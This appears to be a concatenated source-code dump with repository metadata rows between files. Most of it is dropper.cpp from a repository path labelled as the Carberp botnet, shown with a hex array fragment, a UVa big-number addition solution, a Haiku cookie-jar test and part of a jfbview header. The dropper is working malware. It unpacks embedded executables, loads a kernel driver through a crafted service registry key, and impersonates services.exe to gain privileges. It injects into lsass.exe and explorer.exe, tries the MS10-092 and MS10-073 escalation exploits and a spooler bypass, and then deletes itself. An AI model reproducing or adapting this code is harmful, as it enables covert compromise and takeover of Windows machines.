0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0x76, 0x76, 0x42, 0xb1,
0x02, 0x76, 0x76, 0xc5, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0xc4, 0xb1, 0x02,
0x76, 0x76, 0xc3, 0xb1, 0x01, 0x76, 0x76, 0x76, 0x76, 0xc2, 0xd0, 0xb1, 0x02, 0x76, 0xb1, 0x01,
0x76, 0xc1, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0xb1, 0x02,
0x76, 0xb1, 0x01, 0x76, 0xb1, 0x03, 0x76, 0x00, 0xf0, 0x12, 0xcf, 0xb1, 0x02, 0x7d, 0x78, 0x78,
0x78, 0x78, 0x78, 0xb1, 0x04, 0x7b, 0x78, 0xce, 0xb1, 0x02, 0xd0, 0xcd, 0xb1, 0x01, 0xd0, 0xcc,
0xd0, 0xca, 0xb1, 0x04, 0xd0, 0xcf, 0xb1, 0x02, 0x78, 0x79, 0xb1, 0x03, 0x7b, 0xb1, 0x05, 0x7b,
0xb1, 0x02, 0x7b, 0x7b, 0xb1, 0x04, 0x7d, 0x78, 0xce, 0xd0, 0xcd, 0xd0, 0xcf, 0xb1, 0x02, 0x79,
0x78, 0x00, 0xf0, 0x12, 0xcf, 0xb1, 0x04, 0x76, 0xb1, 0x02, 0x76, 0x76, 0x76, 0x76, 0xb1, 0x04,
0x78, 0x76, 0xce, 0xd0, 0xcd, 0xd0, 0xcf, 0xb1, 0x02, 0x76, 0x76, 0xb1, 0x04, 0x76, 0xb1, 0x02,
0x76, 0x76, 0x76, 0x76, 0xb1, 0x04, 0x78, 0x76, 0xce, 0xd0, 0xcd, 0xd0, 0xcf, 0xb1, 0x02, 0x80,
0x7f, 0x00, 0xf0, 0x12, 0xcf, 0xb1, 0x02, 0x7d, 0x78, 0x78, 0x78, 0x78, 0x78, 0x7b, 0x7b, 0xb1,
0x04, 0x78, 0xce, 0xd0, 0xca, 0xd0, 0xcf, 0xb1, 0x02, 0x78, 0x79, 0x7b, 0x7b, 0x7b, 0x7b, 0x7b,
0x7b, 0xb1, 0x04, 0x7d, 0x78, 0xce, 0xd0, 0xca, 0xd0, 0xcf, 0xb1, 0x02, 0x79, 0x78, 0x00, 0xf0,
0x12, 0xcf, 0xb1, 0x02, 0x76, 0x76, 0x76, 0x76, 0x76, 0x76, 0xb1, 0x04, 0x78, 0x76, 0xce, 0xd0,
0xca, 0xd0, 0xcf, 0xb1, 0x02, 0x76, 0x76, 0x76, 0xb1, 0x04, 0x76, 0xb1, 0x02, 0x76, 0x76, 0x76,
0xb1, 0x04, 0x78, 0x76, 0xce, 0xd0, 0xcd, 0xd0, 0xcf, 0xb1, 0x02, 0x76, 0x76, 0x00, 0xb0, 0x40,
0xcf, 0xb1, 0x04, 0x76, 0xb1, 0x02, 0x76, 0x76, 0x76, 0x76, 0xb1, 0x04, 0x74, 0x76, 0xce, 0xb1,
0x02, 0xd0, 0xcf, 0x76, 0x76, 0x76, 0xb1, 0x04, 0x7d, 0x78, 0xce, 0xb1, 0x02, 0xd0, 0xcf, 0xb1,
0x04, 0x71, 0xce, 0xd0, 0xca, 0xd0, 0xc9, 0xd0, 0xc8, 0xd0, 0xc6, 0xb1, 0x02, 0xd0, 0xb1, 0x01,
0x80, 0xc8, 0x82, 0xca, 0x84, 0xcc, 0x85, 0x00, 0xf3, 0x1a, 0xce, 0xb1, 0x02, 0x76, 0x76, 0xcd,
0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0x76,
0xcc, 0xd0, 0x76, 0x76, 0x76, 0xb1, 0x02, 0x76, 0x76, 0xca, 0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76,
0xb1, 0x01, 0x76, 0xb1, 0x02, 0x76, 0xb1, 0x01, 0x76, 0x76, 0xc9, 0xd0, 0x76, 0x76, 0x76, 0x42,
0xc6, 0xb1, 0x04, 0xd0, 0xc5, 0xd0, 0xc4, 0xd0, 0xc3, 0xd0, 0xc2, 0xd0, 0xc1, 0xb1, 0x0c, 0xd0,
0x00, 0xf0, 0x02, 0xbf, 0x00, 0x35, 0xcf, 0xb1, 0x02, 0x80, 0xbf, 0x00, 0x35, 0xd0, 0x10, 0x04,
0x74, 0x1e, 0x00, 0x35, 0x02, 0x80, 0xbf, 0x00, 0x35, 0x80, 0x1e, 0x00, 0x35, 0x2c, 0x74, 0x10,
0x04, 0xb1, 0x04, 0x74, 0x1e, 0x00, 0x35, 0x02, 0xb1, 0x02, 0x80, 0x1e, 0x00, 0x35, 0x2c, 0x74,
0x10, 0x04, 0x74, 0x1e, 0x00, 0x35, 0x02, 0x80, 0xbf, 0x00, 0x35, 0x80, 0xbf, 0x00, 0x35, 0xd0,
0x10, 0x04, 0xb1, 0x04, 0x74, 0x1e, 0x00, 0x48, 0x02, 0xb1, 0x02, 0x80, 0x1e, 0x00, 0x48, 0x2c,
0x74, 0x10, 0x04, 0x74, 0x1e, 0x00, 0x48, 0x02, 0x80, 0xbf, 0x00, 0x48, 0x80, 0x1e, 0x00, 0x48,
0x2c, 0x74, 0x10, 0x04, 0xb1, 0x04, 0x74, 0x1e, 0x00, 0x48, 0x2c, 0xb1, 0x02, 0x80, 0xbf, 0x00,
0x48, 0x74, 0xb0, 0x74, 0xbf, 0x00, 0x48, 0x80, 0xbf, 0x00, 0x48, 0x80, 0xbf, 0x00, 0x48, 0x74,
0xb0, 0xb1, 0x04, 0xd0, 0x00, 0x04, 0x05, 0x01, 0x8f, 0x00, 0x02, 0x01, 0x8f, 0x00, 0x03, 0x01,
0x8e, 0x80, 0x04, 0x01, 0x8e, 0x80, 0x05, 0x00, 0x90, 0x00, 0x00, 0x12, 0x13, 0x0d, 0x0f, 0x40,
0x00, 0x0f, 0x0f, 0x80, 0x00, 0x11, 0x0e, 0xc0, 0x00, 0x11, 0x0e, 0x00, 0x01, 0x13, 0x0d, 0x1d,
0x01, 0x12, 0x0d, 0x54, 0x01, 0x13, 0x0c, 0x78, 0x01, 0x13, 0x0c, 0x93, 0x01, 0x11, 0x0b, 0xc5,
0x01, 0x0f, 0x0a, 0xfc, 0x01, 0x0d, 0x09, 0x1b, 0x02, 0x0b, 0x08, 0x2b, 0x02, 0x09, 0x07, 0x59,
0x02, 0x07, 0x06, 0x68, 0x02, 0x05, 0x05, 0x8d, 0x02, 0x03, 0x03, 0xad, 0x02, 0x01, 0x02, 0xce,
0x02, 0x01, 0x01, 0x00, 0x03, 0x01, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x01, 0x0c, 0x00, 0x00, 0x01,
0x0c, 0x00, 0x00, 0x01, 0x8a, 0x00, 0x00, 0x01, 0x8a, 0x00, 0x00, 0x01, 0x8a, 0x00, 0x00, 0x01,
0x8a, 0x00, 0x00, 0x01, 0x8a, 0x00, 0x00, 0x01, 0x8a, 0x00, 0x00, 0x01, 0x8a, 0x00, 0x00, 0x01,
0x8a, 0x00, 0x00, 0x01, 0x8a, 0x00, 0x00, 0x01, 0x8a, 0x00, 0x00, 0x00, 0x01, 0x00, 0x90, 0x00,
0x00, 0x0d, 0x0e, 0x00, 0x8e, 0x00, 0x00, 0x00, 0x8f, 0x00, 0x00, 0x00, 0x8e, 0xff, 0xff, 0x00,
0x8d, 0xff, 0xff, 0x00, 0x8d, 0xfe, 0xff, 0x00, 0x8d, 0xfe, 0xff, 0x00, 0x8c, 0xff, 0xff, 0x00,
0x8c, 0xff, 0xff, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00,
0x8b, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00, 0x3f, 0x40, 0x00, 0x8f, 0x00,
0x00, 0x00, 0x8e, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x8c, 0x00,
0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00, 0x00, 0x8b, 0x00,
0x00, 0x00, 0x8b, 0x00, 0x00, 0x00, 0x8b, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00,
0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x89, 0x00, 0x00, 0x00, 0x89, 0x00,
0x00, 0x00, 0x89, 0x00, 0x00, 0x00, 0x89, 0x00, 0x00, 0x00, 0x88, 0x00, 0x00, 0x00, 0x88, 0x00,
0x00, 0x00, 0x88, 0x00, 0x00, 0x00, 0x88, 0x00, 0x00, 0x00, 0x87, 0x00, 0x00, 0x00, 0x87, 0x00,
0x00, 0x00, 0x87, 0x00, 0x00, 0x00, 0x87, 0x00, 0x00, 0x00, 0x86, 0x00, 0x00, 0x00, 0x86, 0x00,
0x00, 0x00, 0x86, 0x00, 0x00, 0x00, 0x86, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x85, 0x00,
0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x85, 0x00,
0x00, 0x00, 0x85, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x84, 0x00,
0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x84, 0x00,
0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00,
0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00,
0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00, 0x00, 0x00, 0x83, 0x00,
0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x82, 0x00,
0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x01, 0x00,
0x90, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x03, 0xfe, 0xff, 0x00, 0x00, 0x03, 0x00, 0x04, 0x07,
0x00, 0x03, 0x00, 0x03, 0x07, 0x02, 0x03, 0xfe, 0xff, 0x00,
};
| 94.814389 | 96 | 0.659648 | vladpower |
78fe4dfabc60f80c4ca22b60954f95fa6a78e82d | 10,896 | cpp | C++ | Dark soft/Carberp Botnet/source - absource/pro/all source/DropSploit1/src/dropper/dropper.cpp | ExaByt3s/hack_scripts | cc801b36ea25f3b5a82d2900f53f5036e7abd8ad | [
"WTFPL"
] | 3 | 2021-01-22T19:32:23.000Z | 2022-01-03T01:06:44.000Z | Dark soft/Carberp Botnet/source - absource/pro/all source/DropSploit1/src/dropper/dropper.cpp | a04512/hack_scripts | cc801b36ea25f3b5a82d2900f53f5036e7abd8ad | [
"WTFPL"
] | null | null | null | Dark soft/Carberp Botnet/source - absource/pro/all source/DropSploit1/src/dropper/dropper.cpp | a04512/hack_scripts | cc801b36ea25f3b5a82d2900f53f5036e7abd8ad | [
"WTFPL"
] | 1 | 2021-12-10T13:18:16.000Z | 2021-12-10T13:18:16.000Z | #include <windows.h>
#include <stdio.h>
#include <shlwapi.h>
#include <shlobj.h>
#include "ntdll.h"
#include "rc4.h"
#include "secconfig.h"
#include "inet.h"
#include "utils.h"
#include "splice.h"
#include "spooler/spooler.h"
#include "spooler/antiav.h"
#include "ms10_092/ms10_092.h"
#include "ms10_073/ms10_073.h"
#include "inject/inject.h"
#include "com_elevation/com_elevation.h"
#include "xstring.h"
#include "secconfig.h"
#define MAIN_WORK_PROCESS "lsass.exe"
CHAR g_chDllPath[MAX_PATH] = {0};
CHAR g_chExePath[MAX_PATH] = {0};
PVOID g_pvImageBase = NULL;
DWORD g_dwImageSize = 0;
BOOL g_bAdmin = FALSE;
BOOL g_bUAC = FALSE;
BOOL g_bInject = FALSE;
HANDLE g_hMutex = 0;
PVOID g_MainImage = NULL;
typedef struct
{
DWORD dwExeSize;
DWORD dwSysSize;
}
DROPPER_PARAMS, *PDROPPER_PARAMS;
BOOL GetConfigFiles(PVOID *ppvExe, PDWORD pdwExe, PVOID *ppvSys, PDWORD pdwSys)
{
BOOL bRet = FALSE;
PDROPPER_PARAMS pDropperParams;
PVOID pvData;
DWORD dwDataSize;
if (GetSectionConfigData(GetMyBase(), &pvData, &dwDataSize))
{
if (dwDataSize >= sizeof(DROPPER_PARAMS))
{
pDropperParams = (PDROPPER_PARAMS)pvData;
*ppvExe = malloc(pDropperParams->dwExeSize);
if (*ppvExe)
{
CopyMemory(*ppvExe, RtlOffsetToPointer(pvData, sizeof(DROPPER_PARAMS)), pDropperParams->dwExeSize);
*pdwExe = pDropperParams->dwExeSize;
*ppvSys = malloc(pDropperParams->dwSysSize);
if (*ppvSys)
{
CopyMemory(*ppvSys, RtlOffsetToPointer(pvData, sizeof(DROPPER_PARAMS) + pDropperParams->dwExeSize), pDropperParams->dwSysSize);
*pdwSys = pDropperParams->dwSysSize;
bRet = TRUE;
}
if (!bRet) free(*ppvExe);
}
}
free(pvData);
}
return bRet;
}
BOOL GetPrivilege(ULONG Priviliage)
{
BOOL bRet = FALSE;
NTSTATUS St;
BOOLEAN bEnable;
bRet = NT_SUCCESS(RtlAdjustPrivilege(Priviliage,TRUE,FALSE,&bEnable)) || NT_SUCCESS(RtlAdjustPrivilege(Priviliage,TRUE,TRUE,&bEnable));
if (!bRet)
{
PSYSTEM_PROCESSES_INFORMATION Processes = (PSYSTEM_PROCESSES_INFORMATION)GetSystemInformation(SystemProcessInformation);
if (Processes)
{
UNICODE_STRING ProcessName = RTL_CONSTANT_STRING(L"services.exe");
for (PSYSTEM_PROCESSES_INFORMATION Proc=Processes; ; *(ULONG*)&Proc += Proc->NextEntryDelta)
{
if (RtlEqualUnicodeString(&Proc->ProcessName,&ProcessName,TRUE))
{
HANDLE hThread;
OBJECT_ATTRIBUTES ObjAttr;
InitializeObjectAttributes(&ObjAttr,NULL,0,0,0);
St = NtOpenThread(&hThread,THREAD_DIRECT_IMPERSONATION,&ObjAttr,&Proc->Threads[0].ClientId);
if (NT_SUCCESS(St))
{
SECURITY_QUALITY_OF_SERVICE SecurityQos = {0};
SecurityQos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
SecurityQos.ImpersonationLevel = SecurityImpersonation;
SecurityQos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;
St = NtImpersonateThread(NtCurrentThread(),hThread,&SecurityQos);
if (NT_SUCCESS(St))
{
St = RtlAdjustPrivilege(Priviliage,TRUE,TRUE,&bEnable);
bRet = NT_SUCCESS(St);
if (!bRet)
{
DbgPrint(__FUNCTION__"(): RtlAdjustPrivilege failed with status %x\n",St);
}
}
else
{
DbgPrint(__FUNCTION__"(): NtImpersonateThread failed with status %x\n",St);
}
NtClose(hThread);
}
else
{
DbgPrint(__FUNCTION__"(): NtOpenThread failed with status %x\n",St);
}
break;
}
if (!Proc->NextEntryDelta) break;
}
free(Processes);
}
}
return bRet;
}
VOID StartSys(LPCSTR chSysPath)
{
NTSTATUS St;
BOOL bRet = FALSE;
HKEY hKey;
CHAR chRegPath[MAX_PATH];
WCHAR wcLoadDrv[MAX_PATH];
CHAR chImagePath[MAX_PATH] = "\\??\\";
UNICODE_STRING usStr;
DWORD dwType;
GetPrivilege(SE_LOAD_DRIVER_PRIVILEGE);
DbgPrint(__FUNCTION__"(): driver path '%s'\n",chSysPath);
DWORD dwId = GetTickCount();
_snprintf(chRegPath,RTL_NUMBER_OF(chRegPath)-1,"system\\currentcontrolset\\services\\%x", dwId);
_snwprintf(wcLoadDrv,RTL_NUMBER_OF(wcLoadDrv)-1,L"\\registry\\machine\\system\\currentcontrolset\\services\\%x", dwId);
strncat(chImagePath,chSysPath,sizeof(chImagePath));
if (RegCreateKey(HKEY_LOCAL_MACHINE,chRegPath,&hKey) == ERROR_SUCCESS)
{
RegSetValueEx(hKey,"ImagePath",0,REG_SZ,(LPBYTE)&chImagePath,strlen(chImagePath)+1);
dwType = SERVICE_KERNEL_DRIVER;
RegSetValueEx(hKey,"Type",0,REG_DWORD,(LPBYTE)&dwType,sizeof(DWORD));
dwType = SERVICE_DEMAND_START;
RegSetValueEx(hKey,"Start",0,REG_DWORD,(LPBYTE)&dwType,sizeof(DWORD));
RegCloseKey(hKey);
RtlInitUnicodeString(&usStr,wcLoadDrv);
St = NtLoadDriver(&usStr);
DbgPrint(__FUNCTION__"(): NtLoadDriver status %x\n",St);
}
else
{
DbgPrint(__FUNCTION__"(): RegCreateKey last error %x\n",GetLastError());
}
}
VOID StartExe(LPSTR lpFilePath)
{
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
BOOL bRet = CreateProcess(NULL,lpFilePath,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
if (bRet)
{
DbgPrint(__FUNCTION__"(): ALL OK\n");
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
else
{
DbgPrint(__FUNCTION__"(): CreateProcess failed last error %lx\n",GetLastError());
}
}
DWORD MainWorkThread(PVOID pvContext)
{
PVOID pvExe, pvSys;
DWORD dwExe, dwSys;
DbgPrint(__FUNCTION__"(): exe '%s' dll '%s'\n", g_chExePath, g_chDllPath);
if (GetConfigFiles(&pvExe, &dwExe, &pvSys, &dwSys))
{
CHAR chFolderPath[MAX_PATH];
CHAR chExe[MAX_PATH];
CHAR chSys[MAX_PATH];
GetTempPath(RTL_NUMBER_OF(chFolderPath)-1, chFolderPath);
GetTempFileName(chFolderPath, NULL, GetTickCount(), chExe);
PathRemoveExtension(chExe);
PathAddExtension(chExe, ".exe");
if (FileWrite(chExe, CREATE_ALWAYS, pvExe, dwExe))
{
DbgPrint(__FUNCTION__"(): start exe '%s'\n", chExe);
StartExe(chExe);
}
GetTempFileName(chFolderPath, NULL, GetTickCount(), chSys);
PathRemoveExtension(chSys);
PathAddExtension(chSys, ".sys");
if (FileWrite(chSys, CREATE_ALWAYS, pvSys, dwSys))
{
DbgPrint(__FUNCTION__"(): start sys '%s'\n", chSys);
StartSys(chSys);
}
free(pvExe);
free(pvSys);
}
return 0;
}
VOID InstallAll()
{
MainWorkThread(0);
}
DWORD ExplorerWorkThread(PVOID pvContext)
{
// try com elevation
if (!CreateThreadAndWait(ComElevation, g_chDllPath, 10*60*1000))
{
// if failed work from explorer
MainWorkThread(pvContext);
}
return 0;
}
BOOL DropperDllWork(HMODULE hDll,LPCSTR lpExePath)
{
BOOL bRet = FALSE;
LPTHREAD_START_ROUTINE ThreadRoutine = NULL;
LPCSTR lpExeName = PathFindFileName(lpExePath);
if (!_stricmp(MAIN_WORK_PROCESS,lpExeName))
{
ThreadRoutine = MainWorkThread;
}
else if (!_stricmp("explorer.exe",lpExeName))
{
// explorer
ThreadRoutine = ExplorerWorkThread;
}
else if (!_stricmp("spoolsv.exe",lpExeName))
{
// inject worker process in other session
if (!InjectProcess(MAIN_WORK_PROCESS,g_pvImageBase,g_dwImageSize,FALSE))
{
// add ref dll
LoadLibrary(g_chDllPath);
// if failed work from spooler
ThreadRoutine = MainWorkThread;
}
}
else if (!_stricmp("sysprep.exe",lpExeName))
{
// com elevation
// inject worker process in other session
InjectProcess(MAIN_WORK_PROCESS,g_pvImageBase,g_dwImageSize,FALSE);
ExitProcess(ERROR_SUCCESS);
}
if (ThreadRoutine)
{
HANDLE hThread = CreateThread(NULL,0,ThreadRoutine,NULL,0,NULL);
if (hThread)
{
bRet = TRUE;
CloseHandle(hThread);
}
}
return bRet;
}
BOOL DropperExeUser()
{
BOOL Ret = FALSE;
// inject explorer process in current session
Ret = InjectProcess("explorer.exe",g_pvImageBase,g_dwImageSize,TRUE);
return Ret;
}
BOOL DropperExeAdmin()
{
BOOL bOk = FALSE;
// setup rpc control port redirection
PortFilterBypassHook();
bOk = SpoolerBypass(g_chDllPath);
if (!bOk)
{
// inject worker process in current session
bOk = InjectProcess(MAIN_WORK_PROCESS,g_pvImageBase,g_dwImageSize,TRUE);
}
return bOk;
}
VOID PrepareFirstRun(LPCSTR lpExePath)
{
CHAR chFolderPath[MAX_PATH];
GetTempPath(RTL_NUMBER_OF(chFolderPath)-1, chFolderPath);
GetTempFileName(chFolderPath, NULL, 0, g_chExePath);
PathRemoveExtension(g_chExePath);
PathAddExtension(g_chExePath, ".exe");
CopyFileA(lpExePath, g_chExePath, FALSE);
GetTempFileName(chFolderPath, NULL, 0, g_chDllPath);
PathRemoveExtension(g_chDllPath);
PathAddExtension(g_chDllPath, ".dll");
CopyFileA(lpExePath, g_chDllPath, FALSE);
SetFileDllFlag(g_chDllPath);
}
VOID DropperExeWork(LPCSTR lpExePath)
{
BOOL bOk = FALSE;
if (!CheckWow64())
{
PrepareFirstRun(lpExePath);
if (g_bAdmin)
{
if (!g_bUAC)
{
// try spooler
bOk = DropperExeAdmin();
}
}
if (!bOk)
{
if (g_bUAC)
{
// try UAC task scheduler exploit
bOk = ExploitMS10_092(g_chExePath);
}
}
if (!bOk)
{
if (!g_bAdmin)
{
// try Win32k keyboard layout exploit
if (ExploitMS10_073())
{
bOk = DropperExeAdmin();
}
}
}
if (!bOk)
{
// try inject
if (!DropperExeUser())
{
InstallAll();
}
}
}
}
VOID GetStaticInformation()
{
MEMORY_BASIC_INFORMATION pMemInfo;
VirtualQuery(GetStaticInformation,&pMemInfo,sizeof(pMemInfo));
g_pvImageBase = pMemInfo.AllocationBase;
g_dwImageSize = RtlImageNtHeader(pMemInfo.AllocationBase)->OptionalHeader.SizeOfImage;
g_bAdmin = CheckAdmin();
g_bUAC = CheckUAC();
}
VOID SelfDelete(LPCSTR ModuleFileName)
{
CHAR TempPath[MAX_PATH];
CHAR TempName[MAX_PATH];
GetTempPath(RTL_NUMBER_OF(TempPath)-1,TempPath);
GetTempFileName(TempPath,NULL,0,TempName);
MoveFileEx(ModuleFileName, TempName, MOVEFILE_REPLACE_EXISTING);
MoveFileEx(TempName, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
}
BOOL g_bDll = FALSE;
BOOL Entry(HMODULE hDll,DWORD dwReasonForCall,DWORD dwReserved)
{
BOOL bRet = FALSE;
CHAR chExePath[MAX_PATH];
GetModuleFileName(NULL,chExePath,RTL_NUMBER_OF(chExePath)-1);
GetStaticInformation();
if (hDll && dwReasonForCall == DLL_PROCESS_ATTACH)
{
// dll
g_bDll = TRUE;
g_bInject = dwReserved == 'FWPB';
DbgPrint(__FUNCTION__"(): Dll: %x, Admin: %d, Uac: %d, Inject: %d\n",hDll,g_bAdmin,g_bUAC,g_bInject);
bRet = DropperDllWork(hDll,chExePath);
DbgPrint(__FUNCTION__"(): Dll end ret '%d'\n",bRet);
}
else if (!g_bDll)
{
// exe
DbgPrint(__FUNCTION__"(): Exe: '%s', Admin: %d, Uac: %d\n",chExePath,g_bAdmin,g_bUAC);
DropperExeWork(chExePath);
SelfDelete(chExePath);
DbgPrint(__FUNCTION__"(): Exe end\n");
ExitProcess(ERROR_SUCCESS);
}
return bRet;
} | 22.605809 | 137 | 0.677129 | ExaByt3s |
78fe5dc45140196b07ed73f2a3ba4ecf3f36982f | 714 | cpp | C++ | Uva/424.cpp | w181496/OJ | 67d1d32770376865eba8a9dd1767e97dae68989a | [
"MIT"
] | 9 | 2017-10-08T16:22:03.000Z | 2021-08-20T09:32:17.000Z | Uva/424.cpp | w181496/OJ | 67d1d32770376865eba8a9dd1767e97dae68989a | [
"MIT"
] | null | null | null | Uva/424.cpp | w181496/OJ | 67d1d32770376865eba8a9dd1767e97dae68989a | [
"MIT"
] | 2 | 2018-01-15T16:35:44.000Z | 2019-03-21T18:30:04.000Z | #include <iostream>
#include <string>
#include <vector>
#include <algorithm>
using namespace std;
int main()
{
vector<int>n;
string s;
cin>>s;
for(int i=s.size()-1;i>=0;--i)
n.push_back(s[i]-'0');
while(cin>>s)
{
if(s=="0")break;
for(int i=s.size()-1;i>=0;i--)
{
if(i>=n.size())n.push_back(0);
n[s.size()-i-1]+=s[i]-'0';
}
for(int i=0;i<n.size();i++)
{
if(n[i]>9)
{
if(i+1>=n.size())n.push_back(0);
n[i+1]++;
n[i]-=10;
}
}
}
for(int i=n.size()-1;i>=0;--i)
cout<<n[i];
cout<<endl;
return 0;
}
| 18.789474 | 48 | 0.390756 | w181496 |
78fe60b4e021121cc07212a3460677c902fb39f4 | 2,289 | cpp | C++ | src/tests/kits/net/cookie/cookie_test.cpp | Kirishikesan/haiku | 835565c55830f2dab01e6e332cc7e2d9c015b51e | [
"MIT"
] | 1,338 | 2015-01-03T20:06:56.000Z | 2022-03-26T13:49:54.000Z | src/tests/kits/net/cookie/cookie_test.cpp | Kirishikesan/haiku | 835565c55830f2dab01e6e332cc7e2d9c015b51e | [
"MIT"
] | 15 | 2015-01-17T22:19:32.000Z | 2021-12-20T12:35:00.000Z | src/tests/kits/net/cookie/cookie_test.cpp | Kirishikesan/haiku | 835565c55830f2dab01e6e332cc7e2d9c015b51e | [
"MIT"
] | 350 | 2015-01-08T14:15:27.000Z | 2022-03-21T18:14:35.000Z | #include <cstdlib>
#include <cstring>
#include <cstdio>
#include <ctime>
#include <iostream>
#include <NetworkKit.h>
#include <SupportKit.h>
using std::cout;
using std::endl;
void stressTest(int32 domainNumber, int32 totalCookies, char** flat, ssize_t* size)
{
char **domains = new char*[domainNumber];
cout << "Creating random domains" << endl;
srand(time(NULL));
for (int32 i = 0; i < domainNumber; i++) {
int16 charNum = (rand() % 16) + 1;
domains[i] = new char[charNum + 5];
// Random domain
for (int32 c = 0; c < charNum; c++)
domains[i][c] = (rand() % 26) + 'a';
domains[i][charNum] = '.';
// Random tld
for (int32 c = 0; c < 3; c++)
domains[i][charNum+1+c] = (rand() % 26) + 'a';
domains[i][charNum+4] = 0;
}
BNetworkCookieJar j;
BStopWatch* watch = new BStopWatch("Cookie insertion");
for (int32 i = 0; i < totalCookies; i++) {
BNetworkCookie c;
int16 domain = (rand() % domainNumber);
BString name("Foo");
name << i;
c.SetName(name);
c.SetValue("Bar");
c.SetDomain(domains[domain]);
c.SetPath("/");
j.AddCookie(c);
}
delete watch;
const BNetworkCookie* c;
int16 domain = (rand() % domainNumber);
BString host("http://");
host << domains[domain] << "/";
watch = new BStopWatch("Cookie filtering");
BUrl url(host);
int32 count = 0;
for (BNetworkCookieJar::UrlIterator it(j.GetUrlIterator(url)); (c = it.Next()); ) {
//for (BNetworkCookieJar::Iterator it(j.GetIterator()); c = it.Next(); ) {
count++;
}
delete watch;
cout << "Count for " << host << ": " << count << endl;
cout << "Flat view of cookie jar is " << j.FlattenedSize() << " bytes large." << endl;
*flat = new char[j.FlattenedSize()];
*size = j.FlattenedSize();
if (j.Flatten(*flat, j.FlattenedSize()) == B_OK)
cout << "Flatten() success!" << endl;
else
cout << "Flatten() error!" << endl;
delete[] domains;
}
int
main(int, char**)
{
cout << "Running stressTest:" << endl;
char* flatJar;
ssize_t size;
stressTest(10000, 40000, &flatJar, &size);
BNetworkCookieJar j;
j.Unflatten(B_ANY_TYPE, flatJar, size);
int32 count = 0;
const BNetworkCookie* c;
for (BNetworkCookieJar::Iterator it(j.GetIterator()); (c = it.Next()); )
count++;
cout << "Count : " << count << endl;
delete[] flatJar;
return EXIT_SUCCESS;
}
| 21.59434 | 87 | 0.622543 | Kirishikesan |
60039da5e680b3e77af3afc12497ffdf28fd121b | 3,765 | hpp | C++ | ui_view.hpp | m-shibata/jfbview-dpkg | ddca68777bf60da01da8bbeb14f1d4ac5a6e4cf9 | [
"Apache-1.1"
] | 1 | 2016-08-05T21:13:57.000Z | 2016-08-05T21:13:57.000Z | ui_view.hpp | m-shibata/jfbview-dpkg | ddca68777bf60da01da8bbeb14f1d4ac5a6e4cf9 | [
"Apache-1.1"
] | null | null | null | ui_view.hpp | m-shibata/jfbview-dpkg | ddca68777bf60da01da8bbeb14f1d4ac5a6e4cf9 | [
"Apache-1.1"
] | null | null | null | /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* *
* Copyright (C) 2012-2014 Chuan Ji <ji@chu4n.com> *
* *
* Licensed under the Apache License, Version 2.0 (the "License"); *
* you may not use this file except in compliance with the License. *
* You may obtain a copy of the License at *
* *
* http://www.apache.org/licenses/LICENSE-2.0 *
* *
* Unless required by applicable law or agreed to in writing, software *
* distributed under the License is distributed on an "AS IS" BASIS, *
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *
* See the License for the specific language governing permissions and *
* limitations under the License. *
* *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
// This file defines the UIView class, a base class for NCURSES-based
// interactive full-screen UIs.
#ifndef UI_VIEW_HPP
#define UI_VIEW_HPP
#include <curses.h>
#include <functional>
#include <mutex>
#include <unordered_map>
// Base class for NCURSES-based interactive full-screen UIs. Implements
// - Static NCURSES window initialization on first construction of any derived
// instances;
// - Static NCURSES window clean up upon destruction on last destruction of
// any derived instances;
// - Main event loop.
class UIView {
public:
// A function that handles key events.
typedef std::function<void(int)> KeyProcessor;
// A map that maps key processing modes (as ints) to key processing methods.
